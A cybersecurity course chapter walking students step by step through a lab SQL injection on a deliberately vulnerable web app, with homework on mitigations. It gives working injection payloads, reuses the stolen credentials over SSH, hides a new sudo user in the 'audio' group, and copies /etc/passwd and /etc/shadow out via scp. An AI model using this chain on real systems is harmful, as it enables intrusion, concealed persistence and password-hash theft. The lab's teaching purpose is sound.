59 Gaining Access – SQL Injection
Dante Rocca and Mathew J. Heath Van Horn, PhD
This section will show students the basics of performing a simple SQL injection. Prior knowledge of SQL is not required since we are walking you through the attack in a “monkey see, monkey do” fashion. This chapter provides experience in exploiting SQL database vulnerabilities. However, extensive SQL knowledge is necessary to conduct this type of attack against non-prescribed targets.
Phase 0 – Professional Alignment
Web applications are among the most common targets of enterprise cyberattacks because they often provide direct access to organizational data and services. In this chapter, you will perform a controlled SQL injection attack against a deliberately vulnerable web application, demonstrating how improper input validation can expose sensitive information and lead to unauthorized system access. These activities illustrate the importance of secure application development while reinforcing ethical vulnerability validation practices within an isolated laboratory environment.
DCWF Work Roles
The knowledge and skills developed in this chapter align with the following Department of Defense Cyber Workforce Framework (DCWF) work roles:
- 461 – Vulnerability Assessment Analyst
- 541 – Cyber Defense Analyst
- 451 – System Security Analyst
NICE Work Roles
This chapter supports competencies associated with the following NICE Workforce Framework for Cybersecurity work roles:
- Vulnerability Assessment Analyst
- Penetration Tester
- Cyber Defense Analyst
Professional Skills
By completing this chapter, you will begin developing the ability to:
- Identify web applications that may be susceptible to SQL injection attacks.
- Perform controlled SQL injection techniques against intentionally vulnerable applications.
- Analyze the impact of application-layer vulnerabilities on enterprise systems.
- Validate exploitation results while maintaining an ethical testing methodology.
- Document application security findings to support remediation efforts.
- Explain how secure input validation reduces application security risk.
What You’ll Be Able to Do
After completing this chapter, you should be able to:
- Perform a basic SQL injection attack against an intentionally vulnerable web application.
- Retrieve database information exposed through improper input validation.
- Use recovered credentials to demonstrate the impact of a successful application-layer attack within the laboratory environment.
- Explain how SQL injection vulnerabilities can lead to unauthorized access and privilege escalation.
- Document the attack process and resulting security findings.
- Describe secure coding practices that help prevent SQL injection vulnerabilities in enterprise applications.
Learning Objectives
- Learn the basics of SQL Injection
Prerequisites
Deliverables
- 4 Screenshots are needed to earn credit for this exercise:
- Successful SQL injection, getting usernames and passwords
- Using usernames and passwords to SSH into the target system
- The addition of a new SUDO user as demonstrated by SSH into the target system
- Showing the copy of the target’s shadow file and passwd file in the local (Kali) Downloads folder
Resources
- Deepak Prasad – “DWVA SQL Injection Exploitation Explained (Step-by-Step)”
- Murari, G. “Exploiting the Vulnerabilities on Metasloit3 (sic) (Ubuntu) Machine Using Metasploit Framework and Methodologies“, Dec 2020, Concordia University of Edmonton
Contributors and Testers
- Raechel Ferguson, Cybersecurity Student, ERAU-Prescott
- Justin La Zare, Cybersecurity Student, ERAU-Prescott
- Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott
Phase I – Injection basics – find a way in
A SQL injection attack involves running an unintended SQL query using an application’s client input fields. By using creativity within the constraints of the SQL syntax, attackers can access the SQL database, extract or modify information, adjust their inputs, and repeat until they gain access. Our first step is to find a place to insert SQL commands.
NOTE: Some IP addresses in the figures vary because the clarifying screenshots were added from different PCs when testing the lab. Your IPs will also vary.
- Start with the attack environment from Eagle Net and get it up and running
- Find the IP address of the Metasploitable3-Linux VM using Nmap. In our example, we discovered the Metasploitable3-Linux VM using the this will be 200.200.200.8
Figure 1 – Nmap scan results - We can see that MySQL is running on port 3306, likely supporting a website.
- Open Firefox on the Kali VM. Go to the address:
http://200.200.200.8
Figure 2 – Website results - Click on payroll_app.php
Figure 3 – Found a website sign-on page - Log in with the Username admin and the Password admin.
Figure 4 – Results of trying a log-on - We got in….sort of. We can see a table trying to display 4 fields, presumably from the MySQL database. We can work with that.
Phase II – SQL Injection
We want to try a few different SQL commands to see what happens. As a reminder, here are some SQL commands:
- ALL CAPS is used to differentiate between SQL commands and data. If a word is typed in ALL CAPS, you know that it is telling SQL to take an action.
- A delimiter separates commands in the way punctuation separates sentences within a paragraph.
- An apostrophe ( ‘ ) delineates the beginning and end of a string.
- A semicolon (;) marks the end of a full SQL command.
- Conditional operators evaluate conditions.
- AND returns records where both conditions on either side of the operator are true
- OR returns records if either of the surrounding conditions is true.
- FROM is used to identify the table that stores the information.
- SELECT is used to retrieve data from the database table.
- UNION is used to combine the records of two or more SELECT statements.
- null indicates the absence of a value where it is being used.
- #, or sometimes – -, suggests the beginning of a comment in SQL. This is often why we see this symbol at the end of a SQL injection; it comments out the rest of the query that otherwise would be executed.
- @ is used to denote a user-defined variable in SQL.
- % is a wildcard that can stand for any character or string of characters.
- @@ is used to access global variables and system functions.
- With this information, return to the Payroll sign-on and try some injection. In the username field, type:
‘ OR 1=1 #
- On the backend, the following SQL query may get executed:
SELECT username, first_name, last_name, salary FROM users WHERE username = ‘$user’ and password = ‘$pass’;
- Replacing the $user and $pass variables with the inputs, we get the following query:
SELECT username, first_name, last_name, salary FROM users WHERE username = ‘‘ OR 1=1 #‘ and password = ”;
- This means, “Hey SQL, give me all records in the table where either the username field is blank (as the apostrophe ends the string) or if 1 equals 1.” Since 1 is always equal to 1, this query will retrieve all of the records within the table. The check against the password is never seen because the # symbol comments everything afterward and is not executed.
Figure 5 – Results of SQL Injection - You can see that we got more information this way. We can assume that data property names in the database table are named username, first_name, last_name, and salary
- But we don’t know what version of SQL we are using. Knowing this information will help us develop our next SQL injection attack. Type:
‘ UNION SELECT null, null, null, @@version #
- This SQL command is like before. Close out the username string (‘). Join (UNION) the response of a new command. Don’t print in the username column (null), the first name column (null), or the last name column (null). In the fourth column, however, print the (@@version) version of the table. Ignore the rest of the query (#). This gives us a response of:
Figure 6 – Result of SQL injection to find the version NOTE: Since the web application expects to print four output columns, the command could also easily be ‘UNION SELECT @@version, null, null, null#’, which would still give us the information. However, ‘UNION SELECT @@version #’ would not because, although the database would happily return the information we seek, the web application will error. This is because the web application will be trying to reference and display columns that do not exist.
- We know from the login page that each user must have a password. Why else would the webpage ask for it? So, let’s take this speculation further and try the following
‘ UNION SELECT username, password, null, null FROM users #
- Since we are appending the results, the information may appear after the existing information:
Figure 7 – Password Results - Remember, people are predictable. Let’s see if they refused their names and passwords for system access. In your Kali box, try to SSH into the target machine by typing:
> ssh leia_organa@200.200.200.8
Figure 8 – Tring to SSH in with the same credentials from the SQL database - We got in. It is rarely this easy, but it has happened to the authors in real life. It is always worth checking
Phase III – Doing something with this information.
SQL injection got us in the door. So let’s see what else we can do.
- At Princess Leia’s login, type groups:
Figure 9 – Linux permissions for Princess Leia - Ok, this never happens. Generally, you have to try dozens, hundreds, or even thousands of usernames and passwords to find someone with SUDO rights. On a real system, I would think it was a honeypot. But the target is there for our practice, so let’s go with it
- After gaining access to a system, the next thing we must do is establish persistence. So, let’s create a new user with sudo access. Type
> sudo adduser student
Figure 10 – We created a new SUDO user named ‘student’ - We need to add this user to a group. Let’s not be obvious, so choose a group that seems innocuous. Type
> sudo cat /etc/group
Figure 11 – List of groups - Choose a group that appears innocuous. The audio group looks good. Now add this new user to the audio group by typing
> sudo usermod -aG audio student
- If Princess Leia ever changes her password, we (student) will still have access, and we can log into the target machine anytime we want.
- Now modify the sudo permissions so ‘student’ has sudo access. Edit the Sudoers file by typing.
> sudo visudo
- Add the group ‘audio’ to have SUDO access. This means members can run all commands as all groups (including sudo), and this rule applies to all commands run by members of the group
%audio ALL=(ALL:ALL) ALL
Figure 12 – Grant SUDO access to user ‘student’ - Write out (save) ^O and exit ^X to save the settings.
- Exit the login of Princess Leia by typing.
> exit
- Now SSH into the target machine with the new login account student.
> ssh student@200.200.200.8
- Navigate to the configuration files directory.
> cd /etc
- Change the permissions on the files that contain user information (passwd) and password hashes (shadow) we want to copy.
> sudo chmod 777 passwd
> sudo chmod 777 shadow
- You can now close the SSH login by typing.
> exit
- You can now copy these files from the target machine to the Kali machine for evaluation later.
- In the Kali machine, navigate to the Downloads directory.
> cd ~/Downloads
- Now use SCP (secure copy) to remotely copy the files.
> scp student@200.200.200.8:/etc/passwd target_passwd
> scp student@200.200.200.8:/etc/shadow target_shadow
- Ensure the files are copied by typing.
> ls
Figure 13 – Files are copied
Career Connection
SQL injection remains one of the most well-known classes of web application vulnerabilities because it can expose sensitive data and compromise enterprise systems when applications fail to properly validate user input. Application security engineers, penetration testers, vulnerability assessment analysts, and secure software developers routinely evaluate web applications for injection flaws and work with development teams to implement effective mitigations such as parameterized queries, input validation, and least-privilege database access. The skills developed in this chapter introduce the assessment techniques used to validate application security while emphasizing the importance of secure software development practices and authorized testing within controlled environments.
End of Lab
Deliverables
4 Screenshots are needed to earn credit for this exercise:
- Successful SQL injection getting usernames and passwords
- Using usernames and passwords to SSH into the target system
- The addition of a new SUDO user as demonstrated by SSH into the target system
- Showing the copy of the target’s shadow file and passwd file in the local (Kali) Downloads folder
Homeworks
Homework Assignment 1 – Identifying SQL Injection
Objective
Demonstrate how SQL injection manipulates application input and explain why the attack succeeds.
Instructions
Using the OWASP Broken Web Applications (BWA) virtual machine:
- Launch the vulnerable web application used in this chapter.
- Repeat the SQL injection demonstrated in the lab.
- Observe the application’s response.
- Answer the following questions:
- What user input was accepted by the application?
- Why did the SQL injection succeed?
- What information was exposed?
- How could the application be modified to prevent this attack?
Deliverables
Submit:
- A screenshot of the vulnerable login page.
- A screenshot showing the successful SQL injection.
- A one-page document answering the four questions.
Homework Assignment 2 – Comparing Secure and Insecure Authentication
Objective
Evaluate the security risks associated with SQL injection and recommend appropriate defensive controls.
Instructions
Using the OWASP BWA virtual machine:
- Perform the SQL injection attack from this chapter.
- Identify the data or access obtained through the attack.
- Research three industry best practices for preventing SQL injection.
- Explain how each mitigation would have prevented the attack demonstrated in this chapter.
Answer the following questions:
- Why are SQL injection vulnerabilities considered high risk?
- What is the difference between input validation and parameterized queries?
- Why should database accounts follow the principle of least privilege?
- Which mitigation do you believe provides the greatest protection? Explain your answer.
Deliverables
Submit:
- A screenshot showing the successful SQL injection.
- A screenshot showing the information or access obtained.
- A one- to two-page document answering the questions and describing the three recommended mitigations.
